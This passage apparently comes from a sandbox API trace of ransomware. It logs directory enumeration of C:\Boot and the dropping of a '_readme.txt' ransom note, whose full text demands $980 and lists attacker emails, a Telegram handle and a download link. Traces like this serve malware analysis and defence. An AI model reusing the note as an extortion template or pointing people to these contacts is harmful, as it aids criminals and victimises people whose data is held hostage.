cAlternateFileName="")) returned 1 [0112.487] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xd4eaf790, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xd4eaf790, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd4eaf790, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0112.487] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.487] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.489] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.491] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.491] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.492] PathFindFileNameW (pszPath="") returned="" [0112.492] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.492] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.492] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.492] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.492] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.492] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0112.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331d740 [0112.492] lstrcpyW (in: lpString1=0x331d740, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.493] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.493] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.493] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb4224c20, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xb4224c20, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xb3e6c9c0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0112.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: 